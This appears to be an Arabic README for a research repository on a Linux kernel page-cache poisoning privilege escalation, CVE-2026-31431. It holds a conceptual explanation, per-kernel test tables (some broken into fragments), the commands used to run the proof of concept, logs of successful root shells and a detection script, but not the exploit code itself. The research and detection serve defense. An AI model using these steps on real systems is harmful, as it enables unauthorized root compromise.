
إثبات مفهوم لاستغلال CVE-2026-31431 (Copy-Fail)، وهو ثغرة في نواة لينكس في AF_ALG و splice() تتيح تسميم ذاكرة التخزين المؤقت للصفحات ورفع الامتيازات محليًا. يتضمن تحليلًا ونتائج مختبرية وسكربت كشف.
يحتوي هذا المستودع على تحليل متعمق، وإثبات المفهوم (PoC)، ونتائج اختبارات معملية لثغرة CVE-2026-31431، المعروفة باسم "فشل النسخ" (Copy-Fail).
تستغل ثغرة Copy-Fail خللاً منطقياً في واجهة برمجة التشفير (Crypto API) الخاصة بنواة لينكس (AF_ALG) مقترنةً باستدعاء النظام splice(). تسمح هذه الثغرة لمهاجم محلي غير مميز بتنفيذ تسميم ذاكرة التخزين المؤقت للصفحات (Page Cache Poisoning)، مما يؤدي إلى تصعيد الامتيازات المحلية (LPE).
على عكس الاستغلالات التقليدية التي تعدّل الملفات على القرص، تستهدف Copy-Fail ذاكرة التخزين المؤقت للصفحات (Page Cache) في ذاكرة الوصول العشوائي (RAM) مباشرةً. عندما يُقرأ ملف، تخزّن النواة نسخة منه في الذاكرة لتحسين الأداء. بسبب خلل في إدارة الذاكرة في خوارزمية authenc على إصدارات محددة من النواة، يمكن للمهاجم خداع النواة لاستبدال صفحات الذاكرة "للقراءة فقط" هذه.
من خلال تسميم صفحات الذاكرة الخاصة بالملفات الثنائية SETUID مثل /usr/bin/su، يمكن تجاوز المصادقة والحصول على قشرة صلبة بصلاحيات الجذر (root).
أُجريت الاختبارات عبر توزيعات أوبونتو متعددة، مع التركيز على تأثير النقل العكسي (backporting) للنواة وإدارة التصحيحات.
| التوزيعة | إصدار النواة | تاريخ التصحيح | النتيجة | الملاحظة |
|---|---|---|---|---|
| أوبونتو 24.04 | 6.8.0-87-generic | أكتوبر 2025 | ❌ فشل | تحديثات أمنية نشطة |
| أوبونتو 22.04 | 5.15.0-125-generic | سبتمبر 2024 | ✅ نجاح | قابلة للاستغلال (غير مصححة) |
| أوبونتو 18.04 | 4.15.0-197-generic | نوفمبر 2022 | ✅ نجاح | قابلة للاستغلال (غير مصححة) |
يمكن أن تكون أرقام إصدارات النواة مضللة. فبينما تُحمى النواة "الأحدث" مثل 6.8 من خلال التصحيحات الأمنية، بقيت النوى الأقدم أو المنتهية دورة حياتها (EOL) مثل 4.15 و5.15 قابلة للاستغلال بالكامل بسبب نقص الإصلاحات المنقولة عكسياً.
أثناء البحث، تم الحصول على نتيجة مذهلة من خلال اختبار نظامين مختلفين من أوبونتو 22.04 يتشاركان نفس الإصدار الرئيسي للنواة:
| إصدار النواة |
|---|
يثبت هذا الاختبار أن أمان النظام لا يمكن قياسه برقم الإصدار الرئيسي فقط. يمكن اختراق خادم يعمل بنواة 5.15.0-125 في ثوانٍ، بينما يحجب 5.15.0-170 الهجوم تماماً.
مخرجات الاستغلال الناجح (النواة 5.15.0-125):
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
طُوّر إثبات المفهوم باستخدام ctypes لضمان التوافق عبر إصدارات بايثون المختلفة (خاصةً للإصدارات التي تفتقر إلى دعم os.splice الأصلي).
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. التحقق من إصدار النواة
# uname -r
# 2. التحقق من الوحدات المحملة (آمن إذا لم يكن هناك مخرجات)
# lsmod | grep -E "algif_aead|authencesn"
# 3. الاختبار الحرج — ربط authencesn
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] CRITICAL — System Vulnerable!')
s.close()
except:
print('[+] Secure — authencesn unreachable')
"
# 4. تجزئة الملفات الثنائية setuid (مرجع)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
جدول التقييم:
| النتيجة | المعنى |
|---|---|
| لا يوجد مخرجات lsmod + خطأ في الربط | ✅ آمن |
| يوجد مخرجات lsmod أو نجاح الربط | ⚠️ قابل للاستغلال، طبّق التصحيحات فوراً |
إخلاء مسؤولية: هذا البحث وإثبات المفهوم مخصصان للأغراض التعليمية واختبارات الأمان المصرح بها فقط. قد يؤدي الاستخدام على أنظمة غير مصرح بها إلى عواقب قانونية.
| تاريخ التصحيح |
|---|
| النتيجة |
|---|
| الحالة |
|---|
| 5.15.0-125 | سبتمبر 2024 | ✅ نجاح | قابلة للاستغلال (تم تشغيل الاستغلال) |
| 5.15.0-170 | يناير 2026 | ❌ فشل | آمنة (مصححة) |